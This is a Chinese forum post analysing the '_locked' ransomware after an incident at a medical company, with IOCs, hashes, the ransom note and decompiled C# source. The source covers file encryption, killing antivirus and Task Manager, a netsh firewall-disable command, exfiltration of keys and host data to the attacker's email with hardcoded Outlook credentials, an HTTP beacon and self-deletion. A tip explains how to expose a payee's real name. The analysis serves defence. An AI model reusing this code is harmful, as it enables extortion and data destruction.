-
-
[原创]【病毒分析】中国人不骗中国人?_locked勒索病毒分析
-
发表于: 2024-7-2 15:53 5588
-
1.背景
近期,Solar团队应某医疗公司的请求提供援助,该公司的计算机服务器受到了_locked勒索病毒的侵害,所有的文件被加密并且添加了_locked后缀,并且释放了中文勒索信,留下了支付宝收款码作为勒索赎金支付通道,通过我们的应急响应团队进行深入的溯源调查,应客户的要求,本文暂未提供对入侵溯源的分析报告内容,仅提供该勒索病毒加密器的逆向分析报告。
2.溯源分析
2.1 恶意行为
执行后会释放以下三个文件:
- libadvpack.dll
- 重要資訊.txt
- 收款碼<时间>.jpg
访问外部链接:
- api.ipify.org #用于获取互联网IP
- smtp-mail.outlook.com #用于smtp发件
- 104.26.13.205 #CDN
- 52.98.54.134 #CDN
2.2 溯源流程
对收款码进行溯源,账号属于一位年长女性,判断应该为通过渠道购买的黑号。
Tips:使用支付宝付款的时候,选择四大行以外的银行卡进行转账,然后再通过该银行的APP进行转账明细查询,大部分可以看到对方的真实名字。
逆向加密器,会发现加密信息通过SMTP协议发送邮件至黑客匿名邮箱,由于SMTP协议是发件协议,因此即使能够登陆也无法查看已发邮件。
修改发件、收件地址后会收到以下邮件,包含计算机的基本信息、机密文件数量以及密码,由于此outlook邮箱的辅助邮箱为匿名注册邮箱,故无法通过该线索继续溯源。
3.恶意文件基础信息
3.1 加密器基本信息
大小 | 404480(395.00 KiB) |
操作系统 | Windows(2000) |
架构 | I386 |
模式 | 32 位 |
类型 | GUI |
字节序 | LE |
MD5 | 1edc74dee16a67e94512c59d899b63bd |
SHA256 | 0566ce83e0ab2b58f5247845d5ae075e5f046d7eb49bb019c9a4aead8337a5cf |
3.2 勒索信
注意! 你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。 恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。 想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。 為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com 並免費解密一個檔案。但是這個檔應該沒有價值! 警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。 請注意!!!解密工具在24小時內的時間內可用。你的個人id是: ================================================================================= R1AyMTB3ZnZ4MExuOTZaUWk5WVdXV2ZwSzZyR0tPSzZSWVNOYzdZWnhaMTZEZ0poMmJWK1BxMkFWcnZXWlFNS3NwL1lNcEFLVVpYNW9ibDVTUXFadHJIZmc2TFVsMGFqQjV5dHd2YXJoRmhxUTdtSk5QNi9XQi83ek9MUVJCYWc5b0NoMm1JVy9sREtqallqaW52RnN2RVFjVXE4bmpEK2lVWnJWK1B1NWlHRkhGTVZaMGF2bnQ5T2REK1E0Zm56MEpYSTUvK0dDQk04WnZGMU5ZcUgvV2tHSHZmdXc4eEpGSTd0TzNjSkhBRzd2OGpYVEI0QnNKb0FBUEVVWC9wcUpBMFFqeGFvMmk5ck94Yms5QjhxQXhTeXBmVExyeEtjS2orWDdVekUzcHo2U3RYMWMwZ2dpcUI0UFBmRlN4bUZkR05vUmVTTVN6Vm5GMEhPNGFWbTgxMEJJc3AvVEJUWE04NVJteWg4MXpYRUY1RmsrbnYxZTBHSVBDMkFUR3NIbFA5cE1oYVBhVFB4L28rUENvN2lGekRZQXh2bDBPdG94S2Q2ZnB2ZlFuUmI4cXhLcjZPTzBZbDYxR1pLcnFEZU1EeGNVems2RURITWFtaldhZERLN2NYNEhQcWJCRTNqYVE1L215M0x5TEZTa3N2cTRWdnk1UTJzOThhd1p3VW4=
3.3 勒索图片
4.恶意文件分析
4.1 威胁分析
病毒家族 | Locked(疑似国内) |
首次出现时间/捕获分析时间 | 2024/01/18 || 2024/03/12 |
威胁类型 | 勒索软件,加密病毒 |
加密文件扩展名 | .locked |
勒索信文件名 | 重要資訊.txt |
有无免费解密器? | 无 |
联系邮箱 | ac7d33419d00c1d9@tutanota.com |
检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.locked)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
4.2加密前后对比
加密的测试文件为1.txt
,具体内容如下:
经过木马加密之后如下:
文件后缀加了_locked,文件大小不变,运行多次加密木马加密同一文件之后,由于id不同,加密后的文件内容也不相同。
5.逆向分析
文件本身为.NET
程序,但是使用了.NET Reactor(4.5-4.7)
进行了保护,使用工具去掉保护。
使用工具de4dot_mod
(https://github.com/HongThatCong/de4dot_mod)去掉.NET Reactor(4.5-4.7)
保护。
5.1 去掉保护的文件信息
大小 | 262144(256.00 KiB) |
操作系统 | Windows(95) |
架构 | I386 |
模式 | 32 位 |
类型 | GUI |
字节序 | LE |
MD5 | c1c8e31ec3e906c026644034b27d5ce7 |
SHA256 | 278886a3ca2ac8669fca57eeb2ad3db17f7878a3865e1852a23655330406fb23 |
库 | .NET(v4.0.30319)[-] |
链接程序 | Microsoft Linker(6.0)[GUI32] |
5.2 .NET逆向分析
5.2.1 函数Base64ToImage
将Base64编码的图像数据转换为图像文件并保存到指定路径的方法,输出收款码保存在桌面。
public static bool Base64ToImage(string base64, string userName) { try { base64 = base64.Replace("", "").Replace("data:image/jgp;base64,", "").Replace("data:image/jpg;base64,", "") .Replace("", ""); byte[] buffer = Convert.FromBase64String(base64); MemoryStream stream = new MemoryStream(buffer); Image original = Image.FromStream(stream); Bitmap bitmap = new Bitmap(original); bitmap.Save("C:/Users/" + userName + "/Desktop/收款碼" + DateTime.Now.ToString("yyyyMMddHHss") + ".jpg", ImageFormat.Jpeg); return true; } catch (SmtpException) { return false; } }
5.2.2 函数CreatePassword
CreatePassword
方法用于生成指定长度的随机密码。它使用 StringBuilder
来高效地构建密码,通过从小写字母、大写字母和数字(0-9)的集合中随机选择字符来生成密码。
public static string CreatePassword(int length) { StringBuilder stringBuilder = new StringBuilder(); Random random = new Random(); while (0 < length--) { stringBuilder.Append("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"[random.Next("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890".Length)]); } return stringBuilder.ToString(); }
5.2.3 函数GetHardDiskSerialNumber
这段代码是用于获取硬盘序列号的方法。该方法使用 System.Management
命名空间,通过查询 Win32_PhysicalMedia
类来获取物理媒体(硬盘)的相关信息。
using System.Management; public static string GetHardDiskSerialNumber() { ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("SELECT * FROM Win32_PhysicalMedia"); string result = ""; using (ManagementObjectCollection.ManagementObjectEnumerator managementObjectEnumerator = managementObjectSearcher.Get().GetEnumerator()) { if (managementObjectEnumerator.MoveNext()) { ManagementObject managementObject = (ManagementObject)managementObjectEnumerator.Current; result = managementObject["SerialNumber"].ToString().Trim(); } } return result; }
5.2.4 函数GetHardDiskSpace
这段代码是用于获取指定硬盘的总可用空间的方法。
public static long GetHardDiskSpace(string str_HardDiskName) { long result = 0L; str_HardDiskName += ":\\"; DriveInfo[] drives = DriveInfo.GetDrives(); DriveInfo[] array = drives; foreach (DriveInfo driveInfo in array) { if (driveInfo.Name == str_HardDiskName) { result = driveInfo.TotalFreeSpace / 1048576L; } } return result; }
5.2.5 函数Log
日志函数。
public static void Log(string message) { if (string.IsNullOrEmpty(Settables.LOGURL)) { return; } string text = Environment.MachineName + "-" + Environment.UserName + " : " + message; string urlString = Settables.LOGURL + text; if (!penetratedFirewall) { return; } using WebBrowser webBrowser = new WebBrowser(); webBrowser.Navigate(urlString); while (webBrowser.ReadyState != WebBrowserReadyState.Complete) { Application.DoEvents(); } }
5.2.6 函数PenetrateFirewall
检测是否可以连接互联网,若访问http://www.websitetest.com/
失败则关闭防火墙。
public static bool PenetrateFirewall() { using WebClient webClient = new WebClient(); try { webClient.DownloadString("http://www.websitetest.com/"); return true; } catch { try { Process process = new Process(); ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.FileName = "cmd.exe"; processStartInfo.Arguments = "netsh firewall set opmode disable"; process.StartInfo = processStartInfo; process.Start(); process.WaitForExit(); return true; } catch { return false; } } }
5.2.7 函数SendEmail
过SMTP发送电子邮件的方法。
public static bool SendEmail(string mailTo, string mailTitle, string mailContent) { string host = "smtp-mail.outlook.com"; string text = "ca89a16780424771@outlook.com"; string password = "b418345887e598be"; SmtpClient smtpClient = new SmtpClient(); smtpClient.DeliveryMethod = SmtpDeliveryMethod.Network; smtpClient.Host = host; smtpClient.EnableSsl = true; smtpClient.UseDefaultCredentials = true; smtpClient.Credentials = new NetworkCredential(text, password); MailMessage mailMessage = new MailMessage(text, mailTo); mailMessage.Subject = mailTitle; mailMessage.Body = mailContent; mailMessage.BodyEncoding = Encoding.UTF8; mailMessage.IsBodyHtml = false; mailMessage.Priority = MailPriority.Normal; string text2 = "c:\\temp\\libadvpack.dll"; Attachment attachment = new Attachment(text2); attachment.Name = Path.GetFileName(text2); attachment.NameEncoding = Encoding.GetEncoding("gb2312"); attachment.TransferEncoding = TransferEncoding.Base64; attachment.ContentDisposition.Inline = true; attachment.ContentDisposition.DispositionType = "inline"; _ = attachment.ContentId; mailMessage.Attachments.Add(attachment); try { smtpClient.Send(mailMessage); return true; } catch (SmtpException) { return false; } }
5.2.8 函数smethod_0
用于获取当前设备的公共IP地址的方法。
public static string smethod_0() { try { using WebClient webClient = new WebClient(); string text = webClient.DownloadString("https://api.ipify.org"); return "ip:" + text; } catch { return ""; } }
5.2.9 函数messageCreator
创建勒索文本与勒索文件,其中method_3
函数返回勒索图片对应的base64编码。
public void messageCreator(string setpasth, string setstr) { try { string[] contents = new string[19] { "注意!", "", "你的檔案,圖片,資料庫和其他重要文件都被加密了。請不要擔心,你可以恢復你所有的檔案。", "", "恢復檔案的唯一方法是購買解密工具和你的獨特金鑰。該解密工具將解密您所有加密的檔案。", "", "想要購買這個解密工具,你只需要支付2000人民幣,請留意你的案頭上的收款碼。", "", "為了確保我們有解密器並且它可以工作,您可以發送電子郵件:ac7d33419d00c1d9@tutanota.com", "", "並免費解密一個檔案。但是這個檔應該沒有價值!", "", "警告,請你不要嘗試自己修改檔案,不要嘗試使用任何協力廠商軟件恢復你數據。", "", "請注意!!!解密工具在24小時內的時間內可用。你的個人id是:", "", "=================================================================================", "", setstr }; string text = "\\重要資訊.txt"; string path = setpasth + text; File.WriteAllLines(path, contents); Common.Base64ToImage(method_3(), string_1); } catch (SystemException ex) { Common.Writelog("messageCreator=" + ex.Message); } }
5.2.10 函数startAction
在程序中使用base64编码存放了RSA公钥,提取可得。
-----BEGIN CERTIFICATE----- PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVK a2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09i L3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FR amYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNI Yz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFs dWU+ -----END CERTIFICATE-----
public void startAction() { try { KillProces360(); string text = string_5 + "LOCK" + string_6; byte[] bytes = Convert.FromBase64String("PFJTQUtleVZhbHVlPjxNb2R1bHVzPnhHWVhwUDJZdTMzTTVDOFJwbi8rSVBHRjVKa2tqaDVFNEN5VDdpQnNZaU9laFRaMStLbFhuRXRFU3dBdnVQWDNrb0dHK3VXQ09iL3liL0N0dGtRV1RZbUJjbzFxM3ZrRUx5YUhOL3Nad09UODY2dkE5SVFIU21vM2FRamYvNmxUem1NWEVBdWU0UktkWEtxR0tXb1A1Vjl6TDFnTVpZcDN5R21IN2p4WFNIYz08L01vZHVsdXM+PEV4cG9uZW50PkFRQUI8L0V4cG9uZW50PjwvUlNBS2V5VmFsdWU+"); string @string = Encoding.Default.GetString(bytes); string s = Encrypts.RsaEncrypt(text, @string); byte[] bytes2 = Encoding.UTF8.GetBytes(s); s = Convert.ToBase64String(bytes2); Common.WritePasswdlog(s); string text2 = "\\Desktop\\"; string text3 = "\\Downloads\\"; string text4 = "\\Documents\\"; string text5 = "\\Pictures\\"; string text6 = string_3 + string_1 + text2; string text7 = string_3 + string_1 + text3; string text8 = string_3 + string_1 + text4; string text9 = string_3 + string_1 + text5; Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + "," + Common.smethod_0() + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s); string[] logicalDrives = Directory.GetLogicalDrives(); string[] array = logicalDrives; foreach (string text10 in array) { if (text10 == "C:\\") { encryptDirectory(text6, text); encryptDirectory(text7, text); encryptDirectory(text8, text); encryptDirectory(text9, text); messageCreator(text6, s); messageCreator(text7, s); messageCreator(text8, s); messageCreator(text9, s); } if (text10 != "C:\\") { encryptDirectory(text10, text); messageCreator(text10, s); } } Common.SendEmail("ac7d33419d00c1d9@tutanota.com", "locked=" + string_6, DateTime.Now.ToString("F") + " ,DiskSerialNumber=" + string_6 + ",computerName=" + string_2 + ",Number of encrypted files=" + int_1 + ",password=" + s); text = null; selfDestroy(); Application.Exit(); } catch (SystemException ex) { Common.Writelog("startAction=" + ex.Message); } }
5.2.11 函数KillProces360
此函数的目标是终止与360安全卫士(360 Total Security)相关的进程,包括360tray.exe
、360sd.exe
、360rps.exe
、360rp.exe
和eptray.exe
。下文代码仅保留了关键逻辑。
// Gendarmerie_B.V._3.GendarmerieForm using System; using System.Diagnostics; public void KillProces360() { Process[] processesByName = Process.GetProcessesByName("360tray.exe"); Process[] processesByName2 = Process.GetProcessesByName("360sd.exe"); Process[] processesByName3 = Process.GetProcessesByName("360rps.exe"); Process[] processesByName4 = Process.GetProcessesByName("360rp.exe"); Process[] processesByName5 = Process.GetProcessesByName("eptray.exe"); Process[] array = processesByName; foreach (Process process in array) process.Kill(); array = processesByName2; foreach (Process process in array) process.Kill(); array = processesByName3; foreach (Process process in array) process.Kill(); array = processesByName4; foreach (Process process in array) process.Kill(); array = processesByName5; foreach (Process process in array) process.Kill(); }
5.2.12 函数KillProcesstaskmgr
关闭任务管理器进程。
public void KillProcesstaskmgr() { Process[] processesByName = Process.GetProcessesByName("taskmgr"); Process[] array = processesByName; foreach (Process process in array) process.Kill(); }
5.2.13 函数encryptDirectory
对指定目录下的文件进行加密,source
数组包含了要考虑加密的文件扩展名列表,除一些系统目录,如 "Windows"、"Program Files" 和 "Program Files (x86)",排除文件重要資訊.txt
。
对文件调用不同的加密方式:
- 检查硬盘空间是否充足、文件大小是否小于等于50MB,若满足则调用
EncryptFile
- 检查硬盘空间是否充足、文件大小是否大于50MB,若满足则调用
AES_big_Encrypt
// Gendarmerie_B.V._3.GendarmerieForm using System; using System.IO; using System.Linq; public void encryptDirectory(string location, string password) { try { string[] source = new string[474] { "", ".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".jpeg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd", ".sql", ".mp4", ".7z", ".rar", ".m4a", ".wma", ".avi", ".wmv", ".csv", ".d3dbsp", ".zip", ".sie", ".sum", ".ibank", ".bak", ".t13", ".t12", ".qdf", ".gdb", ".tax", ".pkpass", ".bc6", ".dat", ".def", ".bc7", ".bkp", ".qic", ".bkf", ".sidn", ".sidd", ".mddata", ".itl", ".itdb", ".icxs", ".hvpl", ".hplg", ".hkdb", ".mdbackup", ".syncdb", ".gho", ".cas", ".svg", ".map", ".wmo", ".itm", ".sb", ".fos", ".mov", ".vdf", ".ztmp", ".sis", ".sid", ".ncf", ".menu", ".layout", ".dmp", ".blob", ".esm", ".vcf", ".vtf", ".dazip", ".fpk", ".mlx", ".kf", ".iwd", ".vpk", ".tor", ".psk", ".rim", ".w3x", ".fsh", ".ntl", ".arch00", ".lvl", ".snx", ".cfr", ".ff", ".vpp_pc", ".lrf", ".m2", ".mcmeta", ".vfs0", ".mpqge", ".kdb", ".db0", ".dba", ".rofl", ".hkx", ".bar", ".upk", ".das", ".iwi", ".litemod", ".asset", ".forge", ".ltx", ".bsa", ".apk", ".re4", ".sav", ".lbf", ".slm", ".bik", ".epk", ".rgss3a", ".pak", ".big", "wallet", ".wotreplay", ".xxx", ".desc", ".py", ".m3u", ".flv", ".js", ".css", ".rb", ".p7c", ".pk7", ".p7b", ".p12", ".pfx", ".pem", ".crt", ".cer", ".der", ".x3f", ".srw", ".pef", ".ptx", ".r3d", ".rw2", ".rwl", ".raw", ".raf", ".orf", ".nrw", ".mrwref", ".mef", ".erf", ".kdc", ".dcr", ".cr2", ".crw", ".bay", ".sr2", ".srf", ".arw", ".3fr", ".dng", ".jpe", ".jpg", ".cdr", ".indd", ".ai", ".eps", ".pdf", ".pdd", ".dbf", ".mdf", ".wb2", ".rtf", ".wpd", ".dxg", ".xf", ".dwg", ".pst", ".accdb", ".mdb", ".pptm", ".pptx", ".ppt", ".xlk", ".xlsb", ".xlsm", ".wps", ".docm", ".odb", ".odc", ".odm", ".odp", ".ods", ".odt", ".cs", ".lnk", ".mpeg", ".mp3", ".mkv", ".divx", ".ogg", ".zip", ".wav", ".bat", ".index", ".shp", ".gdbtable", ".gdbindexes", ".pos", ".gps", ".ipynb", ".rdata", ".rda", ".atx", ".gdb", ".spx", "rde", ".rrd", ".img", ".mxd", ".rm", ".mid", ".rtf", ".tif", ".gif", ".pic", ".aif", ".au", ".ram", ".mmf", ".amr", ".aac", ".flac", ".mpg", ".swf", ".dll", ".int", ".com", ".c", ".asm", ".for", ".lib", ".lst", ".msg", ".obj", ".pas", ".wki", ".bas", ".java", ".dot", ".abk", ".aps", ".ace", ".art", ".au", ".avr", ".class", ".cls", ".dcm", ".dxf", ".m4v", ".mpp", ".pcm", ".tiff", ".jio", ".dbb", ".aid", ".cpx", ".jiff", ".vod", ".njx", ".pcb", ".pm5", ".ps", ".pub", ".vbs", ".out", ".ofd", ".idf", ".rep", ".exb", ".sea", ".wrl", ".dwf", ".max", ".vsd", ".skp", ".jssx", ".arc", ".config", ".fcpx", ".avb", ".mb", ".ma", ".blend", ".r", ".qbw", ".qbb", ".ofx", ".qfx", ".qif", ".plt", ".seq", ".prj", ".m", ".h", ".c", ".cpp", ".cpp", ".gdf", ".exe", ".tsp", ".au", ".vmdk", ".nvram", ".pvm", ".vmx", ".sesx", ".logicx", ".rvt", ".ifc", ".sldprt", ".sldasm", ".rmvb", ".rm", ".m3u8", ".ms16", ".ms15", ".ms14", ".ms13", ".ms12", ".ms11", ".ms10", ".ms9", ".ms8", ".ms7", ".asc", ".neu", ".net", ".cam", ".min", ".pcbdoc", ".tgz", ".xlxs", ".mat", ".crm", ".plc", ".egd", ".dsn", ".brd", ".cir", ".prt", ".drw", ".asm", ".frm", ".mfg", ".sec", ".cat", ".catp", ".catpart", ".catporduct", ".catdrawing", ".catshape", ".catanalysis", ".scada", ".step", ".stp", ".igs", ".ipt", ".cgr", ".req", ".res", ".gra", ".hm", ".db", ".emat", ".esav", ".rst", ".rth", ".rmg", ".out", ".snn", ".pm", ".t", ".xsr", ".gen", ".mgb", ".gts", ".mcb", ".emf", ".nc", ".cnc", ".bd1", ".bd2", ".bd3", ".bf1", ".bf2", ".bf3", ".bmk", ".fn", ".dxf", ".zmx", ".zar", ".zda", ".edu", ".lab", ".sage", ".mw", ".lg4", ".lng", ".ldt", ".ltf", ".lgr", ".tps", ".sav", ".sps", ".cds", ".cdx", ".cdxml", ".chm", ".d", ".prproj", ".pre", ".aln", ".bw", ".inp", ".xdr", ".pug", ".spm", ".lvm", ".tdms", ".es3", ".ebs3", ".edat3", "emrg3", "epk3", ".es2", ".ebs2", ".edat2", ".emrg2", ".kdy", ".ufd", ".kdb", ".kdbx", ".kf5", ".qkg", ".kdb33", ".nc", ".u8", ".fd", ".bqy", ".ad", ".dgn", ".ttxt", ".3dm", ".zpr", ".cpt", ".onenote", ".note", ".enex", ".md", ".edi", ".vcard" }; string[] array = location.Split(':'); long hardDiskSpace = Common.GetHardDiskSpace(array[0].ToString()); string[] files = Directory.GetFiles(location); string[] directories = Directory.GetDirectories(location); for (int i = 0; i < files.Length; i++) { KillProcesstaskmgr(); KillProces360(); string extension = Path.GetExtension(files[i]); if (source.Contains(extension.ToLower())) { FileInfo fileInfo = new FileInfo(files[i]); long num = fileInfo.Length / 1048576L; if (hardDiskSpace >= 0L && num <= 50L && fileInfo.Name != "重要資訊.txt") { Encrypts.EncryptFile(files[i], password); int_1++; } if (hardDiskSpace >= 0L && num > 50L && fileInfo.Name != "重要資訊.txt") { Encrypts.AES_big_Encrypt(files[i], password); int_1++; } } } for (int i = 0; i < directories.Length; i++) { if (!directories[i].Contains("Windows") && !directories[i].Contains("Program Files") && !directories[i].Contains("Program Files (x86)")) { encryptDirectory(directories[i], password); } } } catch (SystemException ex) { Common.Writelog("encryptDirectory=" + ex.Message); } }
5.2.14 函数EncryptFile&AES_big_Encrypt
EncryptFile
方法:- 从指定文件中读取字节内容
- 将密码字符串转换为字节数组,并对其进行 SHA-256 哈希处理
- 使用
smethod_0
方法对文件内容进行 AES 加密 - 将加密后的字节数据写回原始文件,并在文件名末尾添加扩展名 "._locked"
AES_big_Encrypt
方法:- 生成一个随机的 salt(盐)值
- 创建一个新的文件流,并将 salt 写入文件开头。
- 将密码字符串转换为字节数组,并使用 PBKDF2 算法生成密钥和 IV
- 使用密钥和 IV 对文件内容进行 AES 加密,并将加密后的数据写入文件
public static void EncryptFile(string file, string password) { byte[] byte_ = File.ReadAllBytes(file); byte[] bytes = Encoding.UTF8.GetBytes(password); bytes = SHA256.Create().ComputeHash(bytes); byte[] bytes2 = smethod_0(byte_, bytes); try { File.WriteAllBytes(file, bytes2); string text = "._locked"; File.Move(file, file + text); } catch (Exception) { } } private static byte[] smethod_0(byte[] byte_0, byte[] byte_1) { byte[] result = null; byte[] salt = new byte[8] { 1, 1, 2, 2, 3, 3, 4, 4 }; using (MemoryStream memoryStream = new MemoryStream()) { using RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.KeySize = 256; rijndaelManaged.BlockSize = 128; Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(byte_1, salt, 1000); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8); rijndaelManaged.Mode = CipherMode.CBC; using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write)) { cryptoStream.Write(byte_0, 0, byte_0.Length); cryptoStream.Close(); } result = memoryStream.ToArray(); } return result; } public static void AES_big_Encrypt(string inputFile, string password) { byte[] array = GenerateRandomSalt(); FileStream fileStream = new FileStream(inputFile + "._locked", FileMode.Create); byte[] bytes = Encoding.UTF8.GetBytes(password); RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.KeySize = 256; rijndaelManaged.BlockSize = 128; rijndaelManaged.Padding = PaddingMode.PKCS7; Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000); rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8); rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8); rijndaelManaged.Mode = CipherMode.CFB; fileStream.Write(array, 0, array.Length); CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write); FileStream fileStream2 = new FileStream(inputFile, FileMode.Open); byte[] array2 = new byte[1048576]; try { int count; while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0) { Application.DoEvents(); cryptoStream.Write(array2, 0, count); } fileStream2.Close(); } catch (Exception) { } finally { cryptoStream.Close(); fileStream.Close(); File.Delete(inputFile); } }
5.2.15 函数RsaEncrypt
这段代码实现了使用 RSA 公钥对输入数据进行加密的功能。
public static string RsaEncrypt(string rawInput, string publicKey) { if (string.IsNullOrEmpty(rawInput)) { return string.Empty; } if (string.IsNullOrWhiteSpace(publicKey)) { throw new ArgumentException("Invalid Public Key"); } using RSACryptoServiceProvider rSACryptoServiceProvider = new RSACryptoServiceProvider(); byte[] bytes = Encoding.UTF8.GetBytes(rawInput); rSACryptoServiceProvider.FromXmlString(publicKey); int num = rSACryptoServiceProvider.KeySize / 8 - 11; byte[] array = new byte[num]; using MemoryStream memoryStream = new MemoryStream(bytes); using MemoryStream memoryStream2 = new MemoryStream(); while (true) { int num2 = memoryStream.Read(array, 0, num); if (num2 <= 0) { break; } byte[] array2 = new byte[num2]; Array.Copy(array, 0, array2, 0, num2); byte[] array3 = rSACryptoServiceProvider.Encrypt(array2, fOAEP: false); memoryStream2.Write(array3, 0, array3.Length); } return Convert.ToBase64String(memoryStream2.ToArray()); }
5.2.16 对象GendarmerieForm的初始函数
初始化了相关的配置信息。
public GendarmerieForm() { Class3.KCdZb3Mzn9Yjk(); int_0 = 30; int_1 = 0; string_0 = "http://127.0.0.1/Server/write.php"; string_1 = smethod_0(); string_2 = Environment.MachineName.ToString(); string_3 = "C:\\Users\\"; string_4 = "http://127.0.0.1/Server/ranso2.jpg"; string_5 = Common.CreatePassword(255); string_6 = Common.GetHardDiskSerialNumber(); icontainer_0 = null; base..ctor(); vunlKygwQ(); }
5.2.17 函数selfDestroy
自毁函数,用于删除当前正在运行的应用程序的可执行文件。
public void selfDestroy() { ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.Arguments = "/C timeout 2 && Del /Q /F " + Application.ExecutablePath; processStartInfo.WindowStyle = ProcessWindowStyle.Hidden; processStartInfo.CreateNoWindow = true; processStartInfo.FileName = "cmd.exe"; Process.Start(processStartInfo); }
5.2.18 函数SendPassword
向指定域名发送相关信息。
public void SendPassword(string password) { try { string text = "?computer_name=" + string_2 + "&userName=" + string_1 + "&password=" + password + "&allow=ransom"; string address = string_0 + text; new WebClient().DownloadString(address); } catch (Exception) { } }
6.病毒分析概览
木马从startAction
函数启动,首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密之后即为私人i
,调用成员函数encryptDirectory
加密目录以及子目录,函数中拥有一个白名单,只有在白名单中的后缀文件才会被加密,同时排除了系统关键目录与勒索信的加密。
根据文件的大小选择不同的加密方式调用EncryptFile
或者AES_big_Encrypt
函数进行加密,同时木马会进行网络通信,向相关域名发送加密的有关信息,虽然在分析时存在自删除代码,但是实际运行时并没有触发自删除。
7.总结
程序本身的逆向难度不大,仅使用了Reactor
对C#
程序进行了保护,解除保护后,程序的逻辑无混淆与任何其他保护
程序在启动之后首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密,程序破解的主要难度就在此处,由于我们无法得知程序设计者的RSA私钥,在程序从内存中移除之后,我们无法得知随机生成的AES密钥,无法恢复文件
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)